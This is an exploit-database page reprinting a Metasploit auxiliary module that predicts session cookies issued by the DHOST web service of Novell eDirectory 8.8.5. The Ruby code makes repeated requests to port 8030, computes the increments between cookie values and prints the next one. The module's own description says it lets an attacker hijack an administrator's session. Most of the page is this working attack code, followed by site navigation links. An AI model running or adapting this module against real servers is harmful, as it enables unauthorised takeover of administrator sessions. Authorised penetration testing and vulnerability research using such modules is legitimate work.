Novell eDirectory DHOST Predictable Session Cookie (meta)

Exploit Code :

##
# $Id: edirectory_dhost_cookie.rb 7519 2009-11-14 23:08:27Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell eDirectory DHOST Predictable Session
Cookie',
'Description' => %q{
This module is able to predict the next session cookie value issued
by the DHOST web service of Novell eDirectory 8.8.5. An attacker can
run
this module, wait until the real administrator logs in, then specify
the
predicted cookie value to hijack their session.
},
'References' =>
[
['OSVDB', '60035'],
],
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Version' => '$Revision: 7519 $'
))

register_options([
Opt::RPORT(8030),
OptBool.new('SSL', [true, 'Use SSL', true])
], self.class)
end

def run
vals = []
name = ""

print_status("Making 5 requests to verify predictions...")
1.upto(6) do

connect
req = "GET /dhost/ HTTP/1.1\r\n"
req << "Host: #{rhost}:#{rport}\r\n"
req << "Connection: close\r\n\r\n"
sock.put(req)
res = sock.get_once(-1,5)
disconnect

cookie = nil
if(res =~ /Cookie:\s*([^\s]+)\s*/mi)
cookie = $1
cookie,junk = cookie.split(';')
name,cookie = cookie.split('=')
cookie = cookie.to_i(16)
vals << cookie
end
end

deltas = []
prev_val = nil
vals.each_index do |i|
if(i > 0)
delta = vals[i] - prev_val
print_status("Cookie: #{i} #{"%.8x" % vals[i]} DELTA #{"%.8x" %
delta}")
deltas << delta
end
prev_val = vals[i]
end

deltas.uniq!
if(deltas.length < 4)
print_status("The next cookie value will be: #{name}=#{"%.8x" %
(prev_val + deltas[0])}")
else
print_status("The cookie value is less predictable, maybe this has been
patched?")
print_status("Deltas: #{deltas.map{|x| "%.8x" % x}.join(", ")}")
end
end

end

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason